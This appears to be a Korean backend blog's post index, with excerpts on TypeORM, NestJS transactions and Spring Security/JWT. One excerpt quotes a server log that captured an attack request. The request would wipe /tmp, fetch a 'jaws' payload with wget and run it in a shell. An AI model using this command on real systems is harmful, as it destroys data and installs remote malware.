Backend 16

TypeORM - Custom Repository 개선안

이전 내용 사실 이전에 TypeORM이 0.3.x 버전 이상으로 올라가면서 @EntityRepository(User) export class UserRepository extends Repository { async customMethod(userId: number): Promise { ... } } 위와 같이 @EntityRepository() 데코레이터를 사용해서 CustomRepository를 구현하는 것이 불가능해졌었기 때문에 typeORM 0.3 버전 이후의 Custom-repository - hou27 TypeORM - Custom repository(사용자 정의 레포지토리) 데이터 베이스 작업 로직을 작성하던 중 내가 작성한 함수를 typeORM에 정의된 메서드처럼 사용할 수 있는 방법이 있..

Backend/NestJS 2023.05.01

NestJS - Provider와 Nest IoC Container

왜 그랬는지는 모르겠지만 Typescript Type Challenge를 하다가 갑자기 Provider에 대한 궁금증이 생겼다. Provider NestJS의 Provider는 Providers are a fundamental concept in Nest. Many of the basic Nest classes may be treated as a provider – services, repositories, factories, helpers, and so on. The main idea of a provider is that it can be injected as a dependency; this means objects can create various relationships with each oth..

Backend/NestJS 2023.03.18

TypeORM - select distinct 이슈

문제 발견 혼자 작업하던 중 팀원과 성능 관련 얘기를 하던게 생각나서 로깅되던 Query문을 자세히 살펴봤는데, 작성한 쿼리보다 많은 쿼리문이 실행되고 있는 것을 발견하게 되었다. TypeORM 의도치 않은 중복 필터링 문제 개선 TypeORM 의도치 않은 중복 필터링 문제 개선 · Issue #168 · Quickchive/quickchive-backend 아래와 같은 코드 동작 시 const { categories } = await this.users.findOneOrFail({ where: { id: user.id }, relations: { categories: true, }, }); 쿼리가 2개 실행되는 현상 발생 메인 쿼리를 중복 필터링 쿼리로 래핑하여 수 github.com N + 1 문제 ..

Backend/NestJS 2023.02.21

TypeORM - findOne with undefined

이슈의 발현 프로젝트를 진행하던 중, 갑자기 다른 사용자의 계정으로 로그인된다는 이슈가 제보됐다. 그럴 수도 없고, 그래서도 안되고, 믿기지 않았지만 제보해주신 분이 보내온 캡처를 확인하니 분명 내 계정으로 로그인된 모습이었다. 다행히도 많은 도움을 주신 덕에 금방 원인을 파악할 수 있었다. 원인 현재 필자의 프로젝트는 카카오 로그인을 지원하고 있다. 아직 비즈 앱으로 등록하지 않아서 EMAIL을 필수 동의 항목으로 설정할 수 없어서 선택사항으로 두었었는데, 제보해주신 분이 최초로 카카오 로그인을 시도할 때 이메일 제공에 동의하지 않았고, 그 탓에 이메일로 사용자 식별을 하고 있는 우리 서버가 undefined 값을 기준으로 사용자를 찾았더니 내 계정이 찾아진 것이었다. ..? 여기까지 읽고 무슨 소린지..

Backend/NestJS 2022.11.07

NestJS - Transaction Interceptor 적용하기

진행 순서 문제 당면 해결 과정 근본적인 문제 개선 방법 - AOP Interceptor 구현 및 적용 본 포스트는 NestJS + TypeORM 환경에서 진행됩니다. 프로젝트를 진행하면서 어느 순간부터 자꾸만 504 Gateway Timeout Error 때문에 서버가 죽어버리는 현상이 발생했다. 그래서 서버 로그를 확인해보면 이런 로그 또는 {"level":"error","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws","name":"NotFoundException","response":{"error":"Not Found","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget..

Backend/NestJS 2022.11.01

[Spring boot] Swagger로 API 문서화하기

목차 swagger란? springdoc과 springfox spring boot에 적용하기 결론 Swagger란? https://swagger.io/ API Documentation & Design Tools for Teams | Swagger swagger.io Swagger는 OpenAPI Specification(OAS)의 구현을 위한 라이브러리이다. API의 사양을 명세하고 문서화하여 관리할 수 있도록 도와준다. 여기서 OpenAPI Specification(OAS)란, What is the OpenAPI Specification? The OpenAPI Specification (OAS) defines a standard, programming language-agnostic interface ..

Backend/Spring 2022.07.02

[Spring Boot] Redis와 함께 Refresh Token 구현하기

https://hou27.tistory.com/entry/Spring-Security-JWT Spring Security - JWT 이번에는 지난번 세션 인증을 적용한 포스트에 이어서 JWT를 이용한 로그인을 구현해보도록 하겠다. 지난 포스트 https://hou27.tistory.com/entry/Spring-Security-%EC%84%B8%EC%85%98-%EC%9D%B8%EC%A6%9D Spring.. hou27.tistory.com 이번엔 위 포스트에서 진행한 것에 약간의 수정과 추가를 통해 Spring Security + JWT + Spring Data Redis 의 조합을 완성해보도록 하겠다. 진행 순서 Redis 설치 Spring Boot 프로젝트에 Redis 적용 실습을 통한 동작 확인 ..

Backend/Spring 2022.06.17

Spring Security - JWT

이번에는 지난번 세션 인증을 적용한 포스트에 이어서 JWT를 이용한 로그인을 구현해보도록 하겠다. 지난 포스트 https://hou27.tistory.com/entry/Spring-Security-%EC%84%B8%EC%85%98-%EC%9D%B8%EC%A6%9D Spring Security - 세션 인증 지난번에 Spring Security를 적용했었는데, Spring Security 적용하기 [Spring Boot] Spring Security 적용하기 - 암호화 프로젝트를 진행하면서 사용자 시스템을 구축한다면 필연적으로 인증 로직도 구현해야한 hou27.tistory.com 이번 포스트는 https://github.com/murraco/spring-boot-jwt GitHub - murraco/sp..

Backend/Spring 2022.06.11

Spring Security - 세션 인증

지난번에 Spring Security를 적용했었는데, Spring Security 적용하기 [Spring Boot] Spring Security 적용하기 - 암호화 프로젝트를 진행하면서 사용자 시스템을 구축한다면 필연적으로 인증 로직도 구현해야한다. 이 과정에서 만약 사용자의 비밀번호를 평문(Plain Text)으로 저장한다면, 심각한 보안상 문제를 초래 hou27.tistory.com 이번엔 이어서 세션을 기반으로 한 로그인을 구현해보도록 하겠다. 가장 먼저 스프링 시큐리티의 설정을 마무리하고, 타임리프를 통해 간단한 페이지를 구현하여 테스트까지 해볼 예정이다. 우선 변경된 Spring Security 설정 파일의 모습이다. 참고로 이 포스트에서 다루는 Spring Security의 버전은 5.7.1...

Backend/Spring 2022.05.29

@RequestBody, @ModelAttribute 그리고 Argument Resolver

Spring을 공부하던 중 @ModelAttribute 와 @RequestBody 이 둘의 차이를 명확히 정리하지 못해 이렇게 해보고 저렇게 해보는 삽질 끝에 결국 깨닫게 되어 정리해두고자 한다. 기존 form data를 넘겨받아 유저의 회원가입을 진행하는 필자의 controller는 아래와 같았다. @RestController @RequestMapping("/user") @RequiredArgsConstructor public class UserController { private final UserService userService; @PostMapping("/signUp") public User signUp(@ModelAttribute @Validated UserSignUpRequest signUp..

Backend/Spring 2022.05.20